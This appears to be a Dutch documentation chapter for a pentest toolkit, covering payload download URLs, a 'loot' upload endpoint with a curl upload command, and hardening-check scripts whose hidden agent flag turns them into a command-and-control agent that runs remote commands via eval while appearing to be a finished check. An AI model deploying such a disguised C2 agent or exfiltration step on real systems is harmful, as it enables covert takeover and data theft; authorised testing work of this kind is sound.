15. Bestanden & Downloads
Downloads
Korte URL’s: /p/{bestand} voor payloads, /t/{bestand} voor tools, /tm/{bestand} voor mini-tools. Dit zijn de URL’s die je op de doelmachine gebruikt. Kort, functioneel, en het soort URL dat een IDS-systeem alarmbellen doet rinkelen alsof er iemand de brandtrap afrent met een printer onder zijn arm. Standaard localhost-only, tenzij je in de Settings-modal Public downloads en/of Public payloads aanzet.
De tools zelf worden niet meegeleverd in de Git-repository. Na git clone draai je bash download_tools.sh om alles op te halen van officiële bronnen. De command library bevat 84 get_ bestanden (PowerShell WebClient) en 70 get_ie_ bestanden (Edge incognito) om tools op de doelmachine te downloaden. Twee methoden voor hetzelfde resultaat: de eerste is snel, de tweede is onopvallend.
Uploads
POST /upload. Je bestand wordt opgeslagen in raw/loot/{client_ip}/timestamp_{bestandsnaam}. Superhandig, gewoon curl -F @file http://incompetentbastard.nl/upload
Audit Scripts (Check-Aanbevelingen)
In http/payloads/ staan vier hardening-check scripts die je via de command library kunt downloaden op doelmachines. Ze scannen op privilege-escalatie vectoren, misconfiguraties en LOLBins:
- check-aanbevelingen-lolbin.sh — Linux LOLBin-scan. Bash.
- check-aanbevelingen-macos-lolbin.sh — macOS LOLBin-scan. Bash.
- Check-Aanbevelingen.ps1 — Windows hardening check. PowerShell.
- Check-Aanbevelingen-LOLBin.ps1 — Windows LOLBin-scan. PowerShell.
Elk script heeft een bijbehorend get_ commandfile — typ het commando op de doelmachine en het script wordt gedownload. De scripts ondersteunen -P voor privilege-escalatie checks en -b voor “Become”-modus: exploiteerbare FAILs worden verzameld, op prioriteit gesorteerd, en gepresenteerd als interactief menu. Het is alsof iemand je een kaart heeft gegeven met alle zwakke plekken erop getekend, inclusief een routebeschrijving. Gebruik het verantwoord. Of in ieder geval met een contract.
Agent-modus — De Hardening-Check als C2-Agent
Elk van de vier scripts heeft een ingebouwde agent-modus. Bash: -a URL. PowerShell: -Agent URL. En daarmee verandert een onschuldig hardening-check script in een volwaardige C2-agent die zichzelf registreert bij je Incompetent Bastard dashboard en vervolgens braaf gaat zitten wachten op commando’s. Het is de digitale equivalent van een rechercheur die undercover gaat als loodgieter: hij controleert je kraan, maar als het moet kan hij ook je huis doorzoeken. Mits je daar een rechterlijk bevel voor hebt. Of, in ons geval, een pentestcontract.
De flow is elegant in zijn eenvoud:
- Checkin — het script stuurt een
POSTnaar/agent/checkinmet hostname, username, OS-info en scripttype (linux-lolbin,macos-lolbin,ps-rsatofps-lolbin). De server retourneert een cryptografisch randomagent_iden een poll-frequentie. - Poll-loop — elke paar seconden (standaard 3) pollt de agent
/agent/cmd/{agent_id}. HTTP 200 betekent werk: een commando wordt lokaal uitgevoerd en de output gaat terug viaPOST /agent/res/{cmd_id}. HTTP 204 betekent stilte. De agent wacht. De agent klaagt niet. De agent is geduldiger dan jij ooit zult zijn. - Heartbeat — elke poll-request is tegelijk een heartbeat. De server werkt
last_seenbij en bepaalt de status: Active (minder dan 30 seconden), Idle (tot 5 minuten), of Dead (langer stil dan een vergadering over Q3-budgetten). - Recording — alles wordt gelogd als asciicast v2-recording in
meuk/logs/. Elk commando, elke response, met tijdcodes. Afspelbaar op de Recordings-pagina. Je opdrachtgever krijgt niet een samenvatting van wat je hebt gedaan — hij krijgt een film.
Het briljante is de camouflage. Het script rún eerst de hardening-checks — een volkomen legitieme activiteit die elke systeembeheerder zou toejuichen. En daarna, zonder ophef, zonder fanfare, zonder een banner die zegt “U WORDT NU GECONTROLEERD DOOR EEN PENTESTER,” draait het door als agent. Op het doelsysteem ziet het eruit als een afgeronde check. Op je dashboard verschijnt een nieuwe agent met hostname, gebruiker en OS. Je stuurt commando’s vanuit je browser. De agent voert ze uit. De resultaten verschijnen in je interface. Het is alsof je een secondére terminal hebt op een machine waar je geen SSH-toegang toe hebt — of waar SSH-toegang verdacht zou zijn maar een hardening-check niet.
De commando-uitvoering verschilt per platform: Bash gebruikt eval, PowerShell gebruikt [scriptblock]::Create(). Beide vangen stdout én stderr. Beide sturen de output als platte tekst terug. Geen JSON-wrapping. Geen Base64-encoding. Geen overhead. Het commando gaat erin, de output komt eruit, en de server slaat alles op. Het is een pijplijn van vier regels code die doet waarvoor andere C2-frameworks zevenduizend regels nodig hebben. Niet omdat die zevenduizend regels overbodig zijn — ze hebben features die dit systeem niet heeft — maar omdat dit systeem precies genoeg doet voor de use case waarvoor het is gebouwd. En “precies genoeg” is in de softwarewereld een zeldzamere prestatie dan “veel te veel.”
# Linux/macOS — agent-modus activeren
./check-aanbevelingen-lolbin.sh -a http://10.0.0.1:5000
# Windows PowerShell — agent-modus activeren
.\Check-Aanbevelingen.ps1 -Agent http://10.0.0.1:5000
Op het Agents-dashboard (/dashboard/agents) verschijnt de agent in de tabel. Commando sturen, output bekijken, geschiedenis raadplegen, opruimen wanneer je klaar bent. Het is een volledig C2-systeem verpakt in een script dat zich voordoet als een hardening-check. En de hardening-check wérkt ook nog. Het is een twee-voor-de-prijs-van-één-deal, behalve dat de prijs een ethische verantwoordelijkheid is en de “twee” bestaan uit “je systeem controleren” en “je systeem besturen.” Het verschil tussen die twee is een vlag. Eén enkele vlag. -a. Twee tekens. Groot verschil.